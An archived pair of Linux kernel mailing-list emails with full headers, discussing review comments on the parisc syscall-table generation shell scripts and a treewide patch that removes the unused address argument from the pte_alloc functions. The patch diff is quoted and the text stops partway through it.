 Kirill A. Shutemov

From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 3/6] parisc: add system call table generation support
Date: Fri, 12 Oct 2018 19:27:22 +0530
Lines: 154
Approved: news@gmane.org
Message-ID: <CALxhOnggUEkXVVupq0SebJV0StKqbTTCqQtaaao+oQveUFHgbg@mail.gmail.com>
References: <1539337442-3676-1-git-send-email-firoz.khan@linaro.org>
 <1539337442-3676-4-git-send-email-firoz.khan@linaro.org> <c6280818c999449646ec216984f2df9e@sf-tec.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539352531 4463 195.159.176.226 (12 Oct 2018 13:55:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 13:55:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>,
        linux-parisc-owner@vger.kernel.org
To: eike-kernel@sf-tec.de
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 12 15:55:26 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAxuX-00014P-7P
	for glk-linux-kernel-4@m.gmane.org; Fri, 12 Oct 2018 15:55:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728660AbeJLVaI (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 12 Oct 2018 17:30:08 -0400
Original-Received: from mail-yw1-f66.google.com ([209.85.161.66]:34521 "EHLO
        mail-yw1-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728527AbeJLVaI (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Oct 2018 17:30:08 -0400
Original-Received: by mail-yw1-f66.google.com with SMTP id m129-v6so4986197ywc.1
        for <linux-kernel@vger.kernel.org>; Fri, 12 Oct 2018 06:57:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=VDR8cBCAux9gPq7pPMigmtKG5j3yetuE5TZg3+cnUa8=;
        b=WaUTNaz76TPZi6zwzw4ZK1X/B2IrHxyaC1DEfGT7vq3+Fy0iJmdF6sbrLa9ifdO/KK
         dBeJc/wVz/9TZFbSCF9qRUG+CWIZZraK+UYiDVDRbA1FhmQ7WYf0x9PhZGpi0ZBbolmC
         WGYn8k/g7naKtjNpggkpm0Je3sb37y4lC5jM4=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=VDR8cBCAux9gPq7pPMigmtKG5j3yetuE5TZg3+cnUa8=;
        b=gsy5QZep/Sn+Pzzl48j2EIkrHGjsL4GgU+Ub1Pp7yN1EP5Ki8Xjw/XApBcPuApffWg
         R0faNMOgu9FkvvKnqxfdQWOBXADOnKvh4zYqsPLvEUpUcQRwd5tpKTeMpCEBi5BPtkrM
         eQ8eS67XbCJN1DnXJn7WkBT2EOf6edP7cXIXpNc2Q9oCTJgMvjoO3yvAy79Cab0WCdfW
         ByTB9fxOCuOq2wegJoZMo0kcD7j5bY037E3QDHiqQgn22wwKUfxVK6SY89dSwGhLgysC
         4ME2g20w8o9RgKPtqNlTR+pR9dVh/CvjRi2maLapwISbVnNNE7J3VkodLGr8558cxH2C
         4zQg==
X-Gm-Message-State: ABuFfoj3n8IE8sCwCIjyI4z1yiGh36KENXStyz9X6SJUUdEglrOo3UTQ
        r5m0O/XSlcIz7Mr7x5vZTGiPEgo4427CsBUe48+BOg==
X-Google-Smtp-Source: ACcGV628besiVQKgfwFzErPTquB3lD9XVvGMMb0stdIe8ffiBUYtuou+2IrqwUr1FNzsHBp6YkxXGym2589+jQ+AkOI=
X-Received: by 2002:a81:1b85:: with SMTP id b127-v6mr3517264ywb.381.1539352653412;
 Fri, 12 Oct 2018 06:57:33 -0700 (PDT)
In-Reply-To: <c6280818c999449646ec216984f2df9e@sf-tec.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2897629 gmane.linux.ports.parisc:29146 gmane.linux.kernel.year-2038:3517 gmane.linux.kernel.cross-arch:47740
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2897629>

Hi Arnd, Rolf,

Thanks for the comments. It will help me to fine tune my scripts!

On Fri, 12 Oct 2018 at 17:37, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
>
> Firoz Khan wrote:
>
> > diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh
> > b/arch/parisc/kernel/syscalls/syscallhdr.sh
> > new file mode 100644
> > index 0000000..607d4ca
> > --- /dev/null
> > +++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
> > @@ -0,0 +1,35 @@
> > +#!/bin/sh
> > +# SPDX-License-Identifier: GPL-2.0
> > +
> > +in="$1"
> > +out="$2"
> > +my_abis=`echo "($3)" | tr ',' '|'`
>
> Any reason not to use $() instead of backticks?
>
> > +prefix="$4"
> > +offset="$5"
> > +
> > +fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
> > +    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
> > +    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
> > +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> > +    echo "#ifndef ${fileguard}"
> > +    echo "#define ${fileguard}"
> > +    echo ""
> > +
> > +    nxt=0
> > +    while read nr abi name entry compat ; do
> > +     if [ -z "$offset" ]; then
> > +         echo -e "#define __NR_${prefix}${name}\t$nr"
>
> This mixed indentation with both tabs and spaces is a bit messy.
>
> > +     else
> > +         echo -e "#define __NR_${prefix}${name}\t($offset + $nr)"
> > +     fi
> > +     nxt=$nr
> > +     let nxt=nxt+1
>
> Why do you use let here when you do $(()) calculations at other places?
>
> > +    done
> > +
> > +    echo ""
> > +    echo "#ifdef __KERNEL__"
> > +    echo -e "#define __NR_syscalls\t$nxt"
> > +    echo "#endif"
> > +    echo ""
> > +    echo "#endif /* ${fileguard} */"
> > +) > "$out"
> > diff --git a/arch/parisc/kernel/syscalls/syscalltbl.sh
> > b/arch/parisc/kernel/syscalls/syscalltbl.sh
> > new file mode 100644
> > index 0000000..04abde7
> > --- /dev/null
> > +++ b/arch/parisc/kernel/syscalls/syscalltbl.sh
> > @@ -0,0 +1,46 @@
> > +#!/bin/sh
> > +# SPDX-License-Identifier: GPL-2.0
> > +
> > +in="$1"
> > +out="$2"
> > +my_abis=`echo "($3)" | tr ',' '|'`
> > +offset="$4"
> > +
> > +emit() {
> > +    nxt="$1"
> > +    if [ -z "$offset" ]; then
> > +     nr="$2"
> > +    else
> > +     nr="$2"
> > +     nr=$((nr+offset))
>
> This could be one line, no? Or just set offset to 0 if it is empty and
> avoid that if alltogether.
>
> > +    fi
> > +    entry="$3"
> > +
> > +    while [ $nxt -lt $nr ]; do
> > +     echo "__SYSCALL($nxt, sys_ni_syscall, )"
> > +        let nxt=nxt+1
> > +    done
> > +    echo "__SYSCALL($nxt, $entry, )"
> > +}
> > +
> > +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> > +    if [ -z "$offset" ]; then
> > +     nxt=0
> > +    else
> > +     nxt=$offset
> > +    fi
>
> Another argument for offset=0 as default.
>
> > +
> > +    my_abi="$(cut -d'|' -f2 <<< $my_abis)"

Here is the logic of identifying the generated script is for compat interface
or not. So systbl_abi_syscall_table_c32 := common,compat,32 in Makefile
will parse the script and check the second string whether this is
"compat" or not.

Other ways are:
1. add an extra flag, that will again add the complexity
2. check if [ ${out: -5} = "c32.h" ], this looks weird

Is there any better way to do the same?

>
> "<<<" is a bash extension and will not work with /bin/sh.
>
> > +    while read nr abi name entry compat ; do
> > +     if [ $my_abi = "compat" ]; then
> > +         if [ -z "$compat" ]; then
> > +             emit $nxt $nr $entry
> > +         else
> > +             emit $nxt $nr $compat
> > +         fi
> > +     else
> > +         emit $nxt $nr $entry
> > +     fi
>
> I would go for a local variable being set to $compat or $entry and
> calling emit at only one place. And there should be only one if with 2
> expressions, no need for 3 branches.
>
> > +        let nxt=nxt+1
>
> Inconsistent indentation.
>
> > +    done
> > +) > "$out"

I'll address rest of the comment soon.

Helge, I can update this patches asap with their comments and we can
perform the
boot test with next version. And thanks for your great support!

Firoz

>
> Eike


From - Thu Nov 08 21:42:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Anton Ivanov <anton.ivanov@kot-begemot.co.uk>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 1/2] treewide: remove unused address argument from
 pte_alloc functions
Date: Fri, 12 Oct 2018 14:56:19 +0100
Lines: 1096
Approved: news@gmane.org
Message-ID: <594fc952-5e87-3162-b2f9-963479d16eb3@kot-begemot.co.uk>
References: <20181012013756.11285-1-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539352550 5833 195.159.176.226 (12 Oct 2018 13:55:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2018 13:55:50 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
 Thunderbird/60.0
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Max Filippov <jcmvbkbc@gmail.com>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE 32-BIT AND 64-BIT" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com
To: "Joel Fernandes (Google)" <joel@joelfernandes.org>,
 linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Oct 12 15:55:41 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gAxuj-0001H3-Pk
	for gla-linux-snps-arc@m.gmane.org; Fri, 12 Oct 2018 15:55:38 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Content-Type:
	Content-Transfer-Encoding:Cc:List-Subscribe:List-Help:List-Post:List-Archive:
	List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:Message-ID:From:
	References:To:Subject:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=y6oXvXn9NQV5n07dJaObA/ENZEgPDpEi0bvJsATiMqU=; b=f6oIUMJMxqCyFSA3WXc/UrjQ3
	HdSZgNCgHp40iJYoztT/CsaIVhOF2ARlTyKVnGpLfKZleGS6QBt6/g7V8TZNLyzUvG3HQtDzpexKi
	Vav8/SMrassZGMW3ETzP5QVnC0sT2bJtsJlQ6a+6kzfNBC6rtn9dFKSHIeAjL+ZgwpqEJ1AhjyyZt
	bE6QF8dkBhaYpqNIQ6NeemJRK2i3Q/1EgooQ7jJ2vNuQY+19Ix11TZpdb1PKOehqQ4KyXFx8KZvPi
	FYECSUoyWt4UsB4pe5K3LFAXfQUEmbKQf1qIyDHukxXsjqq+49mvYp5vqlbRm+SgFdmmoAXE0DX6m
	2ktuVaMGg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gAxwo-0006Ov-H9; Fri, 12 Oct 2018 13:57:46 +0000
Original-Received: from ivanoab6.miniserver.com ([5.153.251.140]
 helo=www.kot-begemot.co.uk)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gAxwh-0006Ms-6o; Fri, 12 Oct 2018 13:57:44 +0000
Original-Received: from [192.168.17.6] (helo=smaug.kot-begemot.co.uk)
 by www.kot-begemot.co.uk with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.89) (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gAxvQ-0002jB-QH; Fri, 12 Oct 2018 13:56:20 +0000
Original-Received: from amistad.kot-begemot.co.uk ([192.168.3.89])
 by smaug.kot-begemot.co.uk with esmtpsa
 (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.89)
 (envelope-from <anton.ivanov@kot-begemot.co.uk>)
 id 1gAxvQ-0001cM-Bu; Fri, 12 Oct 2018 14:56:20 +0100
In-Reply-To: <20181012013756.11285-1-joel@joelfernandes.org>
Content-Language: en-US
X-Clacks-Overhead: GNU Terry Pratchett
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181012_065739_660145_EB963669 
X-CRM114-Status: GOOD (  23.57  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4522 gmane.linux.kernel:2897630 gmane.linux.ports.mips.general:67036 gmane.linux.ports.ia64:29372 gmane.linux.ports.sh.devel:57621 gmane.linux.kernel.mm:205139 gmane.linux.ports.sparc:28542 gmane.linux.ports.riscv:1041 gmane.linux.ports.hexagon:1896 gmane.comp.emulators.kvm.arm.devel:19401 gmane.linux.ports.alpha:5297 gmane.linux.ports.arm.kernel:679315 gmane.linux.ports.parisc:29147 gmane.linux.ports.ppc64.devel:164143
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4522>


On 10/12/18 2:37 AM, Joel Fernandes (Google) wrote:
> This series speeds up mremap(2) syscall by copying page tables at the
> PMD level even for non-THP systems. There is concern that the extra
> 'address' argument that mremap passes to pte_alloc may do something
> subtle architecture related in the future, that makes the scheme not
> work.  Also we find that there is no point in passing the 'address' to
> pte_alloc since its unused.
>
> This patch therefore removes this argument tree-wide resulting in a nice
> negative diff as well. Also ensuring along the way that the architecture
> does not do anything funky with 'address' argument that goes unnoticed.
>
> Build and boot tested on x86-64. Build tested on arm64.
>
> The changes were obtained by applying the following Coccinelle script.
> The pte_fragment_alloc was manually fixed up since it was only 2
> occurences and could not be easily generalized (and thanks Julia for
> answering all my silly and not-silly Coccinelle questions!).
>
> // Options: --include-headers --no-includes
> // Note: I split the 'identifier fn' line, so if you are manually
> // running it, please unsplit it so it runs for you.
>
> virtual patch
>
> @pte_alloc_func_def depends on patch exists@
> identifier E2;
> identifier fn =~
> "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
> type T2;
> @@
>
>   fn(...
> - , T2 E2
>   )
>   { ... }
>
> @pte_alloc_func_proto depends on patch exists@
> identifier E1, E2, E4;
> type T1, T2, T3, T4;
> identifier fn =~
> "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
> @@
>
> (
> - T3 fn(T1 E1, T2 E2);
> + T3 fn(T1 E1);
> |
> - T3 fn(T1 E1, T2 E2, T4 E4);
> + T3 fn(T1 E1, T2 E2);
> )
>
> @pte_alloc_func_call depends on patch exists@
> expression E2;
> identifier fn =~
> "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
> @@
>
>   fn(...
> -,  E2
>   )
>
> @pte_alloc_macro depends on patch exists@
> identifier fn =~
> "^(__pte_alloc|pte_alloc_one|pte_alloc|__pte_alloc_kernel|pte_alloc_one_kernel)$";
> identifier a, b, c;
> expression e;
> position p;
> @@
>
> (
> - #define fn(a, b, c)@p e
> + #define fn(a, b) e
> |
> - #define fn(a, b)@p e
> + #define fn(a) e
> )
>
> Suggested-by: Kirill A. Shutemov <kirill@shutemov.name>
> Cc: Michal Hocko <mhocko@kernel.org>
> Cc: Julia Lawall <Julia.Lawall@lip6.fr>
> Cc: elfring@users.sourceforge.net
> Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
> ---
>   arch/alpha/include/asm/pgalloc.h             |  6 +++---
>   arch/arc/include/asm/pgalloc.h               |  5 ++---
>   arch/arm/include/asm/pgalloc.h               |  4 ++--
>   arch/arm64/include/asm/pgalloc.h             |  4 ++--
>   arch/hexagon/include/asm/pgalloc.h           |  6 ++----
>   arch/ia64/include/asm/pgalloc.h              |  5 ++---
>   arch/m68k/include/asm/mcf_pgalloc.h          |  8 ++------
>   arch/m68k/include/asm/motorola_pgalloc.h     |  4 ++--
>   arch/m68k/include/asm/sun3_pgalloc.h         |  6 ++----
>   arch/microblaze/include/asm/pgalloc.h        | 19 ++-----------------
>   arch/microblaze/mm/pgtable.c                 |  3 +--
>   arch/mips/include/asm/pgalloc.h              |  6 ++----
>   arch/nds32/include/asm/pgalloc.h             |  5 ++---
>   arch/nios2/include/asm/pgalloc.h             |  6 ++----
>   arch/openrisc/include/asm/pgalloc.h          |  5 ++---
>   arch/openrisc/mm/ioremap.c                   |  3 +--
>   arch/parisc/include/asm/pgalloc.h            |  4 ++--
>   arch/powerpc/include/asm/book3s/32/pgalloc.h |  4 ++--
>   arch/powerpc/include/asm/book3s/64/pgalloc.h | 12 +++++-------
>   arch/powerpc/include/asm/nohash/32/pgalloc.h |  4 ++--
>   arch/powerpc/include/asm/nohash/64/pgalloc.h |  6 ++----
>   arch/powerpc/mm/pgtable-book3s64.c           |  2 +-
>   arch/powerpc/mm/pgtable_32.c                 |  4 ++--
>   arch/riscv/include/asm/pgalloc.h             |  6 ++----
>   arch/s390/include/asm/pgalloc.h              |  4 ++--
>   arch/sh/include/asm/pgalloc.h                |  6 ++----
>   arch/sparc/include/asm/pgalloc_32.h          |  5 ++---
>   arch/sparc/include/asm/pgalloc_64.h          |  6 ++----
>   arch/sparc/mm/init_64.c                      |  6 ++----
>   arch/sparc/mm/srmmu.c                        |  4 ++--
>   arch/um/kernel/mem.c                         |  4 ++--

There is a declaration of pte_alloc_one in arch/um/include/asm/pgalloc.h

This patch missed it.

>   arch/unicore32/include/asm/pgalloc.h         |  4 ++--
>   arch/x86/include/asm/pgalloc.h               |  4 ++--
>   arch/x86/mm/pgtable.c                        |  4 ++--
>   arch/xtensa/include/asm/pgalloc.h            |  8 +++-----
>   include/linux/mm.h                           | 13 ++++++-------
>   mm/huge_memory.c                             |  8 ++++----
>   mm/kasan/kasan_init.c                        |  2 +-
>   mm/memory.c                                  | 17 ++++++++---------
>   mm/migrate.c                                 |  2 +-
>   mm/mremap.c                                  |  2 +-
>   mm/userfaultfd.c                             |  2 +-
>   virt/kvm/arm/mmu.c                           |  2 +-
>   43 files changed, 95 insertions(+), 145 deletions(-)
>
> diff --git a/arch/alpha/include/asm/pgalloc.h b/arch/alpha/include/asm/pgalloc.h
> index ab3e3a8638fb..02f9f91bb4f0 100644
> --- a/arch/alpha/include/asm/pgalloc.h
> +++ b/arch/alpha/include/asm/pgalloc.h
> @@ -52,7 +52,7 @@ pmd_free(struct mm_struct *mm, pmd_t *pmd)
>   }
>   
>   static inline pte_t *
> -pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
> +pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_ZERO);
>   	return pte;
> @@ -65,9 +65,9 @@ pte_free_kernel(struct mm_struct *mm, pte_t *pte)
>   }
>   
>   static inline pgtable_t
> -pte_alloc_one(struct mm_struct *mm, unsigned long address)
> +pte_alloc_one(struct mm_struct *mm)
>   {
> -	pte_t *pte = pte_alloc_one_kernel(mm, address);
> +	pte_t *pte = pte_alloc_one_kernel(mm);
>   	struct page *page;
>   
>   	if (!pte)
> diff --git a/arch/arc/include/asm/pgalloc.h b/arch/arc/include/asm/pgalloc.h
> index 3749234b7419..9c9b5a5ebf2e 100644
> --- a/arch/arc/include/asm/pgalloc.h
> +++ b/arch/arc/include/asm/pgalloc.h
> @@ -90,8 +90,7 @@ static inline int __get_order_pte(void)
>   	return get_order(PTRS_PER_PTE * sizeof(pte_t));
>   }
>   
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -					unsigned long address)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *pte;
>   
> @@ -102,7 +101,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
>   }
>   
>   static inline pgtable_t
> -pte_alloc_one(struct mm_struct *mm, unsigned long address)
> +pte_alloc_one(struct mm_struct *mm)
>   {
>   	pgtable_t pte_pg;
>   	struct page *page;
> diff --git a/arch/arm/include/asm/pgalloc.h b/arch/arm/include/asm/pgalloc.h
> index 2d7344f0e208..17ab72f0cc4e 100644
> --- a/arch/arm/include/asm/pgalloc.h
> +++ b/arch/arm/include/asm/pgalloc.h
> @@ -81,7 +81,7 @@ static inline void clean_pte_table(pte_t *pte)
>    *  +------------+
>    */
>   static inline pte_t *
> -pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
> +pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *pte;
>   
> @@ -93,7 +93,7 @@ pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
>   }
>   
>   static inline pgtable_t
> -pte_alloc_one(struct mm_struct *mm, unsigned long addr)
> +pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *pte;
>   
> diff --git a/arch/arm64/include/asm/pgalloc.h b/arch/arm64/include/asm/pgalloc.h
> index 2e05bcd944c8..52fa47c73bf0 100644
> --- a/arch/arm64/include/asm/pgalloc.h
> +++ b/arch/arm64/include/asm/pgalloc.h
> @@ -91,13 +91,13 @@ extern pgd_t *pgd_alloc(struct mm_struct *mm);
>   extern void pgd_free(struct mm_struct *mm, pgd_t *pgdp);
>   
>   static inline pte_t *
> -pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
> +pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	return (pte_t *)__get_free_page(PGALLOC_GFP);
>   }
>   
>   static inline pgtable_t
> -pte_alloc_one(struct mm_struct *mm, unsigned long addr)
> +pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *pte;
>   
> diff --git a/arch/hexagon/include/asm/pgalloc.h b/arch/hexagon/include/asm/pgalloc.h
> index eeebf862c46c..d36183887b60 100644
> --- a/arch/hexagon/include/asm/pgalloc.h
> +++ b/arch/hexagon/include/asm/pgalloc.h
> @@ -59,8 +59,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
>   	free_page((unsigned long) pgd);
>   }
>   
> -static inline struct page *pte_alloc_one(struct mm_struct *mm,
> -					 unsigned long address)
> +static inline struct page *pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *pte;
>   
> @@ -75,8 +74,7 @@ static inline struct page *pte_alloc_one(struct mm_struct *mm,
>   }
>   
>   /* _kernel variant gets to use a different allocator */
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -					  unsigned long address)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	gfp_t flags =  GFP_KERNEL | __GFP_ZERO;
>   	return (pte_t *) __get_free_page(flags);
> diff --git a/arch/ia64/include/asm/pgalloc.h b/arch/ia64/include/asm/pgalloc.h
> index 3ee5362f2661..c9e481023c25 100644
> --- a/arch/ia64/include/asm/pgalloc.h
> +++ b/arch/ia64/include/asm/pgalloc.h
> @@ -83,7 +83,7 @@ pmd_populate_kernel(struct mm_struct *mm, pmd_t * pmd_entry, pte_t * pte)
>   	pmd_val(*pmd_entry) = __pa(pte);
>   }
>   
> -static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
> +static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *page;
>   	void *pg;
> @@ -99,8 +99,7 @@ static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
>   	return page;
>   }
>   
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -					  unsigned long addr)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	return quicklist_alloc(0, GFP_KERNEL, NULL);
>   }
> diff --git a/arch/m68k/include/asm/mcf_pgalloc.h b/arch/m68k/include/asm/mcf_pgalloc.h
> index 12fe700632f4..4399d712f6db 100644
> --- a/arch/m68k/include/asm/mcf_pgalloc.h
> +++ b/arch/m68k/include/asm/mcf_pgalloc.h
> @@ -12,8 +12,7 @@ extern inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
>   
>   extern const char bad_pmd_string[];
>   
> -extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -	unsigned long address)
> +extern inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	unsigned long page = __get_free_page(GFP_DMA);
>   
> @@ -32,8 +31,6 @@ extern inline pmd_t *pmd_alloc_kernel(pgd_t *pgd, unsigned long address)
>   #define pmd_alloc_one_fast(mm, address) ({ BUG(); ((pmd_t *)1); })
>   #define pmd_alloc_one(mm, address)      ({ BUG(); ((pmd_t *)2); })
>   
> -#define pte_alloc_one_fast(mm, addr) pte_alloc_one(mm, addr)
> -
>   #define pmd_populate(mm, pmd, page) (pmd_val(*pmd) = \
>   	(unsigned long)(page_address(page)))
>   
> @@ -50,8 +47,7 @@ static inline void __pte_free_tlb(struct mmu_gather *tlb, pgtable_t page,
>   
>   #define __pmd_free_tlb(tlb, pmd, address) do { } while (0)
>   
> -static inline struct page *pte_alloc_one(struct mm_struct *mm,
> -	unsigned long address)
